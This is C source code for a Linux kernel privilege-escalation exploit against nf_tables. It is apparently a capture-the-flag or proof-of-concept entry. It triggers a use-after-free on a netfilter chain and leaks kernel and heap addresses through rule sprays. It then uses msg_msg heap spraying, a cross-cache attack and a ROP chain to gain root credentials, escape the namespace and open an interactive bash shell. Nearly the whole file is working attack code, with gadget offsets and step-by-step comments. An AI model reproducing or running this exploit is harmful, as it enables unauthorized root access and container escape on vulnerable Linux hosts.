#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <unistd.h>
#include <sched.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>

#include <netinet/in.h>

#include <linux/netfilter.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/nf_tables.h>

#include <libmnl/libmnl.h>

#include <libnftnl/table.h>
#include <libnftnl/chain.h>
#include <libnftnl/rule.h>
#include <libnftnl/set.h>
#include <libnftnl/expr.h>
#include <libnftnl/object.h>

#include <sys/wait.h>
#include <sys/msg.h>

#define INFO(fmt, ...) fprintf(stderr, "[*] " fmt "\n", ##__VA_ARGS__)
#define WARN(fmt, ...) fprintf(stderr, "[!] " fmt "\n", ##__VA_ARGS__)
#define ERROR(msg) fprintf(stderr, "[-] %s:%d: %s: %s", __func__, __LINE__, msg, strerror(errno))

// nftnl macros
#define NEW_TABLE(t)                                                                                                                      \
    do                                                                                                                                    \
    {                                                                                                                                     \
        hdr = nftnl_nlmsg_build_hdr((char *)mnl_nlmsg_batch_current(b), NFT_MSG_NEWTABLE, NFPROTO_IPV4, NLM_F_ACK | NLM_F_CREATE, seq++); \
        nftnl_table_nlmsg_build_payload(hdr, t);                                                                                          \
        mnl_nlmsg_batch_next(b);                                                                                                          \
    } while (0);

#define NEW_CHAIN(c)                                                                                                                      \
    do                                                                                                                                    \
    {                                                                                                                                     \
        hdr = nftnl_nlmsg_build_hdr((char *)mnl_nlmsg_batch_current(b), NFT_MSG_NEWCHAIN, NFPROTO_IPV4, NLM_F_ACK | NLM_F_CREATE, seq++); \
        nftnl_chain_nlmsg_build_payload(hdr, c);                                                                                          \
        mnl_nlmsg_batch_next(b);                                                                                                          \
    } while (0);

#define DEL_CHAIN(c)                                                                                                       \
    do                                                                                                                     \
    {                                                                                                                      \
        hdr = nftnl_nlmsg_build_hdr((char *)mnl_nlmsg_batch_current(b), NFT_MSG_DELCHAIN, NFPROTO_IPV4, NLM_F_ACK, seq++); \
        nftnl_chain_nlmsg_build_payload(hdr, c);                                                                           \
        mnl_nlmsg_batch_next(b);                                                                                           \
    } while (0);

#define NEW_RULE(r)                                                                                                                      \
    do                                                                                                                                   \
    {                                                                                                                                    \
        hdr = nftnl_nlmsg_build_hdr((char *)mnl_nlmsg_batch_current(b), NFT_MSG_NEWRULE, NFPROTO_IPV4, NLM_F_ACK | NLM_F_CREATE, seq++); \
        nftnl_rule_nlmsg_build_payload(hdr, r);                                                                                          \
        mnl_nlmsg_batch_next(b);                                                                                                         \
    } while (0);

#define DEL_RULE(r)                                                                                                       \
    do                                                                                                                    \
    {                                                                                                                     \
        hdr = nftnl_nlmsg_build_hdr((char *)mnl_nlmsg_batch_current(b), NFT_MSG_DELRULE, NFPROTO_IPV4, NLM_F_ACK, seq++); \
        nftnl_rule_nlmsg_build_payload(hdr, r);                                                                           \
        mnl_nlmsg_batch_next(b);                                                                                          \
    } while (0);

#define DUMP_RULE(r)                                                                       \
    do                                                                                     \
    {                                                                                      \
        hdr = nftnl_nlmsg_build_hdr(buf, NFT_MSG_GETRULE, NFPROTO_IPV4, NLM_F_ACK, seq++); \
        nftnl_rule_nlmsg_build_payload(hdr, r);                                            \
    } while (0);

#define NEW_FLOWTABLE(f)                                                                                                                      \
    do                                                                                                                                        \
    {                                                                                                                                         \
        hdr = nftnl_nlmsg_build_hdr((char *)mnl_nlmsg_batch_current(b), NFT_MSG_NEWFLOWTABLE, NFPROTO_IPV4, NLM_F_ACK | NLM_F_CREATE, seq++); \
        nftnl_flowtable_nlmsg_build_payload(hdr, f);                                                                                          \
        mnl_nlmsg_batch_next(b);                                                                                                              \
    } while (0);

#define DEL_FLOWTABLE(f)                                                                                                       \
    do                                                                                                                         \
    {                                                                                                                          \
        hdr = nftnl_nlmsg_build_hdr((char *)mnl_nlmsg_batch_current(b), NFT_MSG_DELFLOWTABLE, NFPROTO_IPV4, NLM_F_ACK, seq++); \
        nftnl_flowtable_nlmsg_build_payload(hdr, f);                                                                           \
        mnl_nlmsg_batch_next(b);                                                                                               \
    } while (0);

#define NEW_SET(s)                                                                                                                      \
    do                                                                                                                                  \
    {                                                                                                                                   \
        hdr = nftnl_nlmsg_build_hdr((char *)mnl_nlmsg_batch_current(b), NFT_MSG_NEWSET, NFPROTO_IPV4, NLM_F_ACK | NLM_F_CREATE, seq++); \
        nftnl_set_nlmsg_build_payload(hdr, s);                                                                                          \
        mnl_nlmsg_batch_next(b);                                                                                                        \
    } while (0);

#define DEL_SET(s)                                                                                                       \
    do                                                                                                                   \
    {                                                                                                                    \
        hdr = nftnl_nlmsg_build_hdr((char *)mnl_nlmsg_batch_current(b), NFT_MSG_DELSET, NFPROTO_IPV4, NLM_F_ACK, seq++); \
        nftnl_set_nlmsg_build_payload(hdr, s);                                                                           \
        mnl_nlmsg_batch_next(b);                                                                                         \
    } while (0);

#define NEW_SETELEM(s)                                                                                                                      \
    do                                                                                                                                      \
    {                                                                                                                                       \
        hdr = nftnl_nlmsg_build_hdr((char *)mnl_nlmsg_batch_current(b), NFT_MSG_NEWSETELEM, NFPROTO_IPV4, NLM_F_ACK | NLM_F_CREATE, seq++); \
        nftnl_set_elems_nlmsg_build_payload(hdr, s);                                                                                        \
        mnl_nlmsg_batch_next(b);                                                                                                            \
    } while (0);

#define DEL_SETELEM(s)                                                                                                       \
    do                                                                                                                       \
    {                                                                                                                        \
        hdr = nftnl_nlmsg_build_hdr((char *)mnl_nlmsg_batch_current(b), NFT_MSG_DELSETELEM, NFPROTO_IPV4, NLM_F_ACK, seq++); \
        nftnl_set_elems_nlmsg_build_payload(hdr, s);                                                                         \
        mnl_nlmsg_batch_next(b);                                                                                             \
    } while (0);

#define NEW_OBJ(o)                                                                                                                      \
    do                                                                                                                                  \
    {                                                                                                                                   \
        hdr = nftnl_nlmsg_build_hdr((char *)mnl_nlmsg_batch_current(b), NFT_MSG_NEWOBJ, NFPROTO_IPV4, NLM_F_ACK | NLM_F_CREATE, seq++); \
        nftnl_obj_nlmsg_build_payload(hdr, o);                                                                                          \
        mnl_nlmsg_batch_next(b);                                                                                                        \
    } while (0);

#define DEL_OBJ(o)                                                                                                       \
    do                                                                                                                   \
    {                                                                                                                    \
        hdr = nftnl_nlmsg_build_hdr((char *)mnl_nlmsg_batch_current(b), NFT_MSG_DELOBJ, NFPROTO_IPV4, NLM_F_ACK, seq++); \
        nftnl_obj_nlmsg_build_payload(hdr, o);                                                                           \
        mnl_nlmsg_batch_next(b);                                                                                         \
    } while (0);

#define DECLARE_BATCH()        \
    int err = 0;               \
    struct mnl_nlmsg_batch *b; \
    struct nlmsghdr *hdr;      \
    static char buf[524288];

#define START_BATCH()                                                 \
    do                                                                \
    {                                                                 \
        b = mnl_nlmsg_batch_start(buf, sizeof(buf));                  \
        nftnl_batch_begin((char *)mnl_nlmsg_batch_current(b), seq++); \
        mnl_nlmsg_batch_next(b);                                      \
        rseq = seq;                                                   \
    } while (0);

#define END_BATCH()                                                               \
    do                                                                            \
    {                                                                             \
        nftnl_batch_end((char *)mnl_nlmsg_batch_current(b), seq);                 \
        mnl_nlmsg_batch_next(b);                                                  \
        mnl_socket_sendto(mnl, mnl_nlmsg_batch_head(b), mnl_nlmsg_batch_size(b)); \
        mnl_nlmsg_batch_stop(b);                                                  \
    } while (0);

#define DECLARE_DUMP()    \
    int err = 0;          \
    struct nlmsghdr *hdr; \
    static char buf[524288];

#define START_DUMP() \
    rseq = seq;

#define END_DUMP() \
    mnl_socket_sendto(mnl, buf, hdr->nlmsg_len);

#define RUN_CALLBACKS(cb, data)                                                               \
    do                                                                                        \
    {                                                                                         \
        INFO("  Running callbacks, sequence %d->%d", rseq, seq);                              \
        while (rseq < seq)                                                                    \
        {                                                                                     \
            if ((err = mnl_socket_recvfrom(mnl, buf, sizeof(buf))) <= 0)                      \
                break;                                                                        \
            if ((err = mnl_cb_run(buf, err, rseq, mnl_socket_get_portid(mnl), cb, data)) < 0) \
            {                                                                                 \
                WARN("      Failed at sequence %d: %s", rseq, strerror(errno));               \
                break;                                                                        \
            }                                                                                 \
            rseq += err == 0;                                                                 \
        }                                                                                     \
    } while (0);

typedef struct nftnl_table *table;
typedef struct nftnl_chain *chain;
typedef struct nftnl_rule *rule;
typedef struct nftnl_expr *expr;
typedef struct nftnl_set *set;
typedef struct nftnl_set_elem *setelem;
typedef struct nftnl_obj *obj;

#define PORT_SERVER 8888
#define MSG_COUNT 1024

#define NFT_NOTRACK_EVAL (0xe35bd0 + 0x1c820)
#define DMI_CLASS 0x28c83a0
#define KPTI_TRAMPOLINE 0x1201090 + 0x36 // swapgs_restore_regs_and_return_to_usermode + offset
#define PREPARE_KERNEL_CRED 0x1befb0
#define COMMIT_CREDS 0x1bed10
#define FIND_TASK_BY_VPID 0x1b5600
#define SWITCH_TASK_NAMESPACES 0x1bd180
#define INIT_NSPROXY 0x26765c0
#define KERNEL_BSS 0x35ffff0

#define PUSH_RSI_JMP_PTR_RSI_66 0xc8303f     // push rsi ; jmp qword ptr [rsi + 0x66]
#define POP_RSP_R15_RET 0x12cfbe             // pop rsp ; pop r15 ; ret
#define MOV_RDI_RAX_MOV_PTR_RDX_RCX 0x6d014a // mov rdi, rax ; mov dword ptr [rdx], ecx ; mov rax, rdi ; jmp 0xffffffff82404b80
#define POP_RDI_RET 0x12cfc0                 // pop rdi ; ret
#define POP_RSI_RET 0x128ae9                 // pop rsi ; ret
#define POP_RDX_RET 0x1d75c2                 // pop rdx ; ret
#define ADD_RSP_70_RET 0x33fce8              // add rsp, 0x70 ; jmp 0xffffffff82404b80

struct list_head
{
    struct list_head *next, *prev;
};

struct nft_rule
{
    struct list_head list;
    uint64_t handle : 42;
    uint64_t genmask : 2;
    uint64_t dlen : 12;
    uint64_t udata : 1;
    uint8_t data[];
};

struct rhash_head
{
    struct rhash_head *next;
};

struct rhlist_head
{
    struct rhash_head rhead;
    struct rhlist_head *next;
};

struct nft_chain
{
    struct nft_rule_blob *blob_gen_0;
    struct nft_rule_blob *blob_gen_1;
    struct list_head rules;
    struct list_head list;
    struct rhlist_head rhlhead;
    struct nft_table *table;
    uint64_t handle;
    uint32_t use;
    uint8_t flags : 5,
        bound : 1,
        genmask : 2;
    char *name;
    uint16_t udlen;
    uint8_t *udata;
    struct nft_rule_blob *blob_next;
};

struct msg_msg
{
    struct list_head m_list;
    long m_type;
    size_t m_ts;
    struct msg_msgseg *next;
    void *security;
};

struct msg_msgseg
{
    struct msg_msgseg *next;
};

struct mnl_socket *mnl;
int seq, rseq, counter, msgid[MSG_COUNT], msgid_fakeobj;
char table_name[16];
uint64_t kbase, heap;

// for saved states
uint64_t iter, user_cs, user_ss, user_rflags, user_sp;
char **env;

void save_state()
{
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;");
    INFO("Saved state");
}

void monke()
{
    INFO("Return to monke");
    setns(open("/proc/1/ns/mnt", O_RDONLY), 0);
    setns(open("/proc/1/ns/pid", O_RDONLY), 0);
    setns(open("/proc/1/ns/net", O_RDONLY), 0);

    char *args[] = {"/bin/bash", "-i", NULL};
    execve(args[0], args, NULL);
}

// Must spawn after opening netlink socket in order to keep the namespace from being destroyed
// after exiting from shell, thus avoiding possible crashes when auto-cleanup routines kick in,
// at the cost of not cleaning up objects in memory.
void do_child()
{
    setsid();
    close(0);
    close(1);
    close(2);

    while (1)
        sleep(1000);
}

int setup()
{
    cpu_set_t set;
    pid_t pid;

    // In order to use nf_tables, we need CAP_NET_ADMIN
    INFO("Setting up namespace sandbox");

    if (unshare(CLONE_NEWUSER) == -1)
    {
        ERROR("unshare(CLONE_NEWUSER)");
        return -1;
    }

    if (unshare(CLONE_NEWNET) == -1)
    {
        ERROR("unshare(CLONE_NEWNET)");
        return -1;
    }

    // Set CPU affinity to make sure heap allocations won't spread over different CPUs
    INFO("Set process affinity");

    CPU_ZERO(&set);
    CPU_SET(0, &set);
    if (sched_setaffinity(getpid(), sizeof(set), &set) == -1)
    {
        ERROR("sched_setaffinity");
        return -1;
    }

    INFO("Opening netfilter socket");

    mnl = mnl_socket_open(NETLINK_NETFILTER);
    if (mnl == NULL)
    {
        ERROR("mnl_socket_open");
        return -1;
    }

    INFO("Initialize message queues");

    for (int i = 0; i < MSG_COUNT; ++i)
    {
        if ((msgid[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0)
        {
            ERROR("msgget");
            return -1;
        }
    }

    pid = fork();
    if (pid == -1)
    {
        ERROR("fork");
        return -1;
    }
    if (pid == 0)
        do_child();

    return 0;
}

// These functions are utility functions for making nf_tables objects
table make_table(const char *name)
{
    table t = nftnl_table_alloc();
    nftnl_table_set_u32(t, NFTNL_TABLE_FAMILY, NFPROTO_IPV4);
    nftnl_table_set_str(t, NFTNL_TABLE_NAME, name);

    return t;
}

chain make_chain(const char *table, const char *name, uint32_t flags, uint32_t hooknum, int priority)
{
    chain c = nftnl_chain_alloc();
    nftnl_chain_set_str(c, NFTNL_CHAIN_TABLE, table);
    nftnl_chain_set_str(c, NFTNL_CHAIN_NAME, name);
    nftnl_chain_set_u32(c, NFTNL_CHAIN_FLAGS, flags);

    if (hooknum <= NF_INET_INGRESS)
    {
        nftnl_chain_set_u32(c, NFTNL_CHAIN_HOOKNUM, hooknum);
        nftnl_chain_set_s32(c, NFTNL_CHAIN_PRIO, priority);
    }

    return c;
}

rule make_rule(const char *table, const char *chain, int num_exprs, expr *exprs, void *udata, uint32_t udlen, uint64_t handle)
{
    rule r = nftnl_rule_alloc();
    nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, NFPROTO_IPV4);
    nftnl_rule_set_str(r, NFTNL_RULE_TABLE, table);
    nftnl_rule_set_str(r, NFTNL_RULE_CHAIN, chain);

    for (int i = 0; i < num_exprs; ++i)
        nftnl_rule_add_expr(r, exprs[i]);

    if (udlen > 0)
        nftnl_rule_set_data(r, NFTNL_RULE_USERDATA, udata, udlen);

    if (handle > 0)
        nftnl_rule_set_u64(r, NFTNL_RULE_HANDLE, handle);

    return r;
}

expr make_immediate_jump_expr(const char *target_chain)
{
    expr e = nftnl_expr_alloc("immediate");
    nftnl_expr_set_u32(e, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT);
    nftnl_expr_set_u32(e, NFTNL_EXPR_IMM_VERDICT, NFT_JUMP);
    nftnl_expr_set_str(e, NFTNL_EXPR_IMM_CHAIN, target_chain);

    return e;
}

expr make_immediate_return_expr()
{
    expr e = nftnl_expr_alloc("immediate");
    nftnl_expr_set_u32(e, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT);
    nftnl_expr_set_u32(e, NFTNL_EXPR_IMM_VERDICT, NFT_RETURN);

    return e;
}

expr make_flow_offload_expr(const char *target_flowtable)
{
    expr e = nftnl_expr_alloc("flow_offload");
    nftnl_expr_set_str(e, NFTNL_EXPR_FLOW_TABLE_NAME, target_flowtable);

    return e;
}

expr make_lookup_expr(const char *target_set, uint32_t sreg)
{
    expr e = nftnl_expr_alloc("lookup");
    nftnl_expr_set_str(e, NFTNL_EXPR_LOOKUP_SET, target_set);
    nftnl_expr_set_u32(e, NFTNL_EXPR_LOOKUP_SREG, sreg);

    return e;
}

expr make_dynset_expr(const char *target_set, uint32_t op, uint32_t sreg_key)
{
    expr e = nftnl_expr_alloc("dynset");
    nftnl_expr_set_str(e, NFTNL_EXPR_DYNSET_SET_NAME, target_set);
    nftnl_expr_set_u32(e, NFTNL_EXPR_DYNSET_OP, op);
    nftnl_expr_set_u32(e, NFTNL_EXPR_DYNSET_SREG_KEY, sreg_key);

    return e;
}

expr make_cmp_expr(uint32_t sreg, uint32_t op, void *data, uint32_t len)
{
    expr e = nftnl_expr_alloc("cmp");
    nftnl_expr_set_u32(e, NFTNL_EXPR_CMP_SREG, sreg);
    nftnl_expr_set_u32(e, NFTNL_EXPR_CMP_OP, op);
    nftnl_expr_set_data(e, NFTNL_EXPR_CMP_DATA, data, len);

    return e;
}

expr make_notrack_expr()
{
    return nftnl_expr_alloc("notrack");
}

set make_map_chain(const char *table, const char *name, uint32_t keylen, uint32_t id, uint32_t flags, uint32_t gc_interval)
{
    set s = nftnl_set_alloc();
    nftnl_set_set_str(s, NFTNL_SET_TABLE, table);
    nftnl_set_set_str(s, NFTNL_SET_NAME, name);
    nftnl_set_set_u32(s, NFTNL_SET_KEY_LEN, keylen);
    nftnl_set_set_u32(s, NFTNL_SET_ID, id);

    flags |= NFT_SET_MAP;
    nftnl_set_set_u32(s, NFTNL_SET_FLAGS, flags);
    nftnl_set_set_u32(s, NFTNL_SET_DATA_TYPE, NFT_DATA_VERDICT);

    if (flags & NFT_SET_TIMEOUT)
        nftnl_set_set_u32(s, NFTNL_SET_GC_INTERVAL, gc_interval);

    return s;
}

void add_setelem_catchall(set s, uint32_t timeout, const char *chain)
{
    setelem e = nftnl_set_elem_alloc();
    nftnl_set_elem_set_u32(e, NFTNL_SET_ELEM_FLAGS, NFT_SET_ELEM_CATCHALL);

    if (timeout > 0)
        nftnl_set_elem_set_u64(e, NFTNL_SET_ELEM_TIMEOUT, timeout);

    nftnl_set_elem_set_u32(e, NFTNL_SET_ELEM_VERDICT, NFT_JUMP);
    nftnl_set_elem_set_str(e, NFTNL_SET_ELEM_CHAIN, chain);
    nftnl_set_elem_add(s, e);
}

set make_set(const char *table, const char *name, uint32_t keylen, uint32_t id, uint32_t flags)
{
    set s = nftnl_set_alloc();
    nftnl_set_set_str(s, NFTNL_SET_TABLE, table);
    nftnl_set_set_str(s, NFTNL_SET_NAME, name);
    nftnl_set_set_u32(s, NFTNL_SET_KEY_LEN, keylen);
    nftnl_set_set_u32(s, NFTNL_SET_ID, id);
    nftnl_set_set_u32(s, NFTNL_SET_FLAGS, flags);

    return s;
}

// Trigger the UaF
int trigger_uaf(int need_base_chain)
{
    DECLARE_BATCH();

    sprintf(table_name, "t%d", counter++);

    table t = make_table(table_name);
    chain c_victim = make_chain(table_name, "c_victim", 0, 0xffff, 0);
    chain c_spray = make_chain(table_name, "c_spray", 0, 0xffff, 0);
    // When we want to control RIP, we configure this to be a base chain.
    // Because this chain holds a rule holding an immediate expression jumping to a UaF chain object,
    // we can craft a fake chain which host a fake rule holding a fake expression with a fake ops table.
    // Then, when expr->ops->validate is called on the immediate expression, it will recursively call validate on the fake chain,
    // which will call validate on the fake rule, and call expr->ops->validate on the fake expression.
    chain c_primitive = make_chain(table_name, "c_primitive", 0, need_base_chain ? NF_INET_LOCAL_OUT : 0xffff, 0);
    expr e_primitive = make_immediate_jump_expr("c_victim");
    rule r_primitive = make_rule(table_name, "c_primitive", 1, &e_primitive, NULL, 0, 0);
    set s_attack = make_map_chain(table_name, "s_attack", 2, 1337, NFT_SET_TIMEOUT, 1);

    START_BATCH();

    NEW_TABLE(t);
    NEW_CHAIN(c_victim);
    NEW_CHAIN(c_spray);
    NEW_CHAIN(c_primitive);
    NEW_RULE(r_primitive);
    NEW_SET(s_attack);

    END_BATCH();

    RUN_CALLBACKS(NULL, NULL);

    if (err < 0)
        return -1;

    // After the first batch, c_victim->use = 1 because there's an immediate expression pointing to it.
    // We now make another reference to c_victim, then trigger the bug to decrease c_victim->use by 2.

    add_setelem_catchall(s_attack, 1, "c_victim");

    START_BATCH();

    NEW_SETELEM(s_attack);
    DEL_SET(s_attack);

    END_BATCH();

    RUN_CALLBACKS(NULL, NULL);

    if (err < 0)
        return -1;

    // DELETE set command will decrease c_victim->use, then since the GC interval and element timeout is very short,
    // the element we just added will be GC'd. c_victim->use will decrease again. At this moment, c_victim->use = 0.

    // We sleep here to make sure that the GC and release phase of the transaction kick in.
    sleep(1);

    START_BATCH();

    // Becase c_victim->use = 0, we can call DELETE on it.
    DEL_CHAIN(c_victim);

    END_BATCH();

    RUN_CALLBACKS(NULL, NULL);

    if (err < 0)
        return -1;

    // We sleep here to wait for release phase of the transaction, which will free c_victim from memory.
    // Because we have a reference to c_victim from an immediate expression created in the first batch,
    // we have achieved UaF condition.
    sleep(1);
    INFO("UaF triggered");

    return 0;
}

// We attempt to spray fake nft_chain to reclaim the uaf object, using nft_rule.
// We can keep add expression to rule, and they will be flatten in memory next to each other,
// thus making nft_rule an elastic object.
// After expressions is userdata field, which can hold at most 255 bytes of arbitrary data.

int spray_rule_leak_kbase()
{
    DECLARE_BATCH();
    char udata[16] = {0};

    expr e[9];
    // notrack exprs only have ops field, which will point to a function table.
    // We spam until it overlaps with nft_chain->name field,
    // then later use DUMP request to fetch name of the uaf chain through the immediate expression
    // holding the dangling reference to the freed chain.
    for (int i = 0; i < 9; ++i)
        e[i] = make_notrack_expr();
    rule r_spray = make_rule(table_name, "c_spray", 9, e, udata, sizeof(udata), 0);

    for (int count = 0; count < 4; ++count)
    {
        START_BATCH();

        for (int i = 0; i < 8; ++i)
            NEW_RULE(r_spray);

        END_BATCH();

        RUN_CALLBACKS(NULL, NULL);

        if (err < 0)
            return -1;
    }

    return 0;
}

int spray_rule_leak_heap()
{
    DECLARE_BATCH();

    for (int count = 0; count < 64; ++count)
    {
        START_BATCH();

        char set_name[16];
        sprintf(set_name, "spr%d", count);
        set s = make_set(table_name, set_name, 2, 0x2345 + count, 0);

        expr e[6];
        for (int j = 0; j < 5; ++j)
            e[j] = make_notrack_expr();
        // Make nft_lookup->binding.list.next overlaps with nft_chain->name so we can leak set address.
        e[5] = make_lookup_expr(set_name, NFT_REG_1);

        rule r_spray = make_rule(table_name, "c_spray", 6, e, NULL, 0, 0);

        NEW_SET(s);
        NEW_RULE(r_spray);

        END_BATCH();

        RUN_CALLBACKS(NULL, NULL);

        if (err < 0)
            return -1;
    }

    for (int count = 0; count < 64; ++count)
    {
        START_BATCH();

        char set_name[16];
        sprintf(set_name, "spr%d", count);

        expr e = make_lookup_expr(set_name, NFT_REG_1);
        // If we only add one binding to the set, when leaking we will read the content of nft_set->bindings.next,
        // which points to the lookup expression. So we add another binding to the linked list to leak &nft_set->bindings instead.
        // We have to do this seperately because adding another lookup object to the same rule above will make the rule bigger than 128 bytes,
        // which is the kmalloc cache that nft_chain objects belong to.
        rule r_spray = make_rule(table_name, "c_spray", 1, &e, NULL, 0, 0);

        NEW_RULE(r_spray);

        END_BATCH();

        RUN_CALLBACKS(NULL, NULL);

        if (err < 0)
            return -1;
    }

    return 0;
}

// c_victim->name = nft_notrack_ops, and the first field of the ops is nft_notrack_eval.
// Most of the time the address will not contain NULL bytes so we can leak kernel base here.
int leak_base_cb(expr e, void *dat)
{
    const char *data;

    data = nftnl_expr_get_str(e, NFTNL_EXPR_IMM_CHAIN);
    kbase = (*(uint64_t *)data) - NFT_NOTRACK_EVAL;
    INFO("kbase = 0x%lx", kbase);

    return MNL_CB_OK;
}

// c_victim->name points to nft_set->bindings so we can leak address of a nft_set here.
// Sometimes it will has NULL bytes so we will need to retry.
int leak_heap_cb(expr e, void *dat)
{
    const char *data;

    data = nftnl_expr_get_str(e, NFTNL_EXPR_IMM_CHAIN);
    // We want the address of the page that the nft_set is in, because we will be doing cross cache attack later.
    heap = (*(uint64_t *)data);
    INFO("heap = 0x%lx", heap);
    heap &= 0xfffffffffffff000;

    return MNL_CB_OK;
}

int leak_cb(const struct nlmsghdr *nlh, void *data)
{
    rule r;

    r = nftnl_rule_alloc();
    nftnl_rule_nlmsg_parse(nlh, r);

    nftnl_expr_foreach(r, data, NULL);

    nftnl_rule_free(r);

    return MNL_CB_OK;
}

// c_primitive hosts a rule which has an immediate expression which has a dangling reference to a freed chain,
// so we can leak data through nft_chain->name field using DUMP request.
int dump_primitive(mnl_cb_t cb, void *expr_cb)
{
    DECLARE_DUMP();

    // the primitive rule has handle 4
    rule r_primitive = make_rule(table_name, "c_primitive", 0, NULL, NULL, 0, 4);

    START_DUMP();

    DUMP_RULE(r_primitive);

    END_DUMP();

    RUN_CALLBACKS(cb, expr_cb);

    if (err < 0)
        return -1;

    return 0;
}

int spray_fake_rule_and_rop()
{
    INFO("Spraying fake rule and rop");

    char msg_buf[8192] = {0};
    *(uint64_t *)msg_buf = 0x1337;
    // cross cache attack, we request the whole page that has been released by flushing the sets
    size_t msg_size = 4090 - sizeof(struct msg_msg); // 4090 bytes allocation should cover a page
    struct nft_rule *fake_rule = (struct nft_rule *)(msg_buf + 8); // start offset of msg buffer is 0x8
    uint32_t *expr_ops_size = (uint32_t *)(msg_buf + 8 + 0xd00 - sizeof(struct msg_msg) + 16); // 0xd00 is where we decided to put fake expr ops, 16 is offset of ops->size field
    uint64_t *expr_ops_validate = (uint64_t *)(msg_buf + 8 + 0xd00 - sizeof(struct msg_msg) + 72); // 0xd00 is where we decided to put fake expr ops, 72 is offset of ops->validate field
    uint64_t *jop = (uint64_t *)(msg_buf + 8 + sizeof(struct nft_rule) + 0x66); // 0x66 because the jop gadget jumps to address stored in [rsi+0x66]
    uint64_t *rop = (uint64_t *)(msg_buf + 8 + sizeof(struct nft_rule) + 0x8); // 0x8 is right after

    fake_rule->dlen = 8; // enough for one expression with only ops field
    *(uint64_t *)fake_rule->data = heap + 0xd00; // points expr->ops to heap + 0xd00
    *expr_ops_size = 8;
    *expr_ops_validate = kbase + PUSH_RSI_JMP_PTR_RSI_66; // push fake expression address to stack for pivot later

    *jop = kbase + POP_RSP_R15_RET; // pivot the stack

    *rop = kbase + ADD_RSP_70_RET; // pivot the stack further down to avoid interference with other data such as jop gadget in the middle
    rop += 0x78 / sizeof(uint64_t); // compensate for the previous gadget

    // commit_creds(prepare_kernel_cred(0))
    *rop++ = kbase + POP_RDI_RET;
    *rop++ = 0x0;
    *rop++ = kbase + PREPARE_KERNEL_CRED;
    *rop++ = kbase + POP_RDX_RET;
    *rop++ = kbase + KERNEL_BSS;
    *rop++ = kbase + MOV_RDI_RAX_MOV_PTR_RDX_RCX;
    *rop++ = kbase + COMMIT_CREDS;

    // switch_task_namespaces(find_task_by_vpid(1), init_nsproxy)
    *rop++ = kbase + POP_RDI_RET;
    *rop++ = 0x1;
    *rop++ = kbase + FIND_TASK_BY_VPID;
    *rop++ = kbase + POP_RDX_RET;
    *rop++ = kbase + KERNEL_BSS;
    *rop++ = kbase + MOV_RDI_RAX_MOV_PTR_RDX_RCX;
    *rop++ = kbase + POP_RSI_RET;
    *rop++ = kbase + INIT_NSPROXY;
    *rop++ = kbase + SWITCH_TASK_NAMESPACES;

    // Use KPTI trampoline to return to userland
    *rop++ = kbase + KPTI_TRAMPOLINE;
    rop++;
    rop++;
    *rop++ = (uint64_t)monke;
    *rop++ = user_cs;
    *rop++ = user_rflags;
    *rop++ = user_sp;
    *rop++ = user_ss;

    // Spray the kernel heap using msg_msg
    for (int i = 0; i < MSG_COUNT; ++i)
    {
        if (msgsnd(msgid[i], msg_buf, msg_size, 0) < 0)
        {
            ERROR("msgsnd");
            return -1;
        }
    }

    return 0;
}

// Flush the nft_set we created in the previous step to prepare for cross cache attack.
int flush_spray()
{
    DECLARE_BATCH();

    chain c_spray = make_chain(table_name, "c_spray", 0, 0xffff, 0);

    START_BATCH();

    DEL_CHAIN(c_spray);

    END_BATCH();

    RUN_CALLBACKS(NULL, NULL);

    if (err < 0)
        return -1;

    for (int count = 0; count < 64; ++count)
    {
        char set_name[16];
        sprintf(set_name, "spr%d", count);
        set s = make_set(table_name, set_name, 0, 0, 0);

        START_BATCH();

        DEL_SET(s);

        END_BATCH();

        RUN_CALLBACKS(NULL, NULL);

        if (err < 0)
            return -1;
    }

    // We sleep to make sure all objects are freed in release phase.
    sleep(5);

    return 0;
}

// Trigger expr->validate on the immediate expression holding dangling reference to the freed chain to control RIP.
int spray_fake_chain_and_trigger_validate()
{
    INFO("Spraying fake chain and trigger validate");

    char msg_buf[8192] = {0};
    *(uint64_t *)msg_buf = 0x1337;
    size_t msg_size = 4096 - sizeof(struct msg_msg) + 128 - sizeof(struct msg_msgseg); // we spray fake chain using the second segment of the msg
    struct nft_chain *fake_chain = (struct nft_chain *)(msg_buf + 8 + 4096 - sizeof(struct msg_msg) - sizeof(struct msg_msgseg));
    fake_chain->rules.next = (struct list_head *)(heap + sizeof(struct msg_msg)); // link to the fake rule we set up before

    for (int i = 0; i < MSG_COUNT; ++i)
    {
        if (msgsnd(msgid[i], msg_buf, msg_size, 0) < 0)
        {
            ERROR("msgsnd");
            return -1;
        }
    }

    DECLARE_BATCH();
    START_BATCH();

    expr e_primitive = make_immediate_return_expr();
    rule r_primitive = make_rule(table_name, "c_primitive", 1, &e_primitive, NULL, 0, 0);

    NEW_RULE(r_primitive);

    END_BATCH();

    RUN_CALLBACKS(NULL, NULL);
    return 0;
}

int main(int argc, char **argv, char **envp)
{
    env = envp;
    save_state();

    if (setup() == -1)
        return -1;

    if (trigger_uaf(0) == -1)
        return -1;

    if (spray_rule_leak_kbase() == -1)
        return -1;

    if (dump_primitive(leak_cb, leak_base_cb))
        return -1;

    while (heap < 0xffff000000000000)
    {
        if (trigger_uaf(0) == -1)
            return -1;

        if (spray_rule_leak_heap() == -1)
            return -1;

        if (dump_primitive(leak_cb, leak_heap_cb))
            return -1;

        if (seq > 10000)
            return -1;
    }

    if (flush_spray() == -1)
        return -1;

    if (spray_fake_rule_and_rop() == -1)
        return -1;

    if (trigger_uaf(1) == -1)
        return -1;

    if (spray_fake_chain_and_trigger_validate() == -1)
        return -1;

    getchar();
    return 0;
}
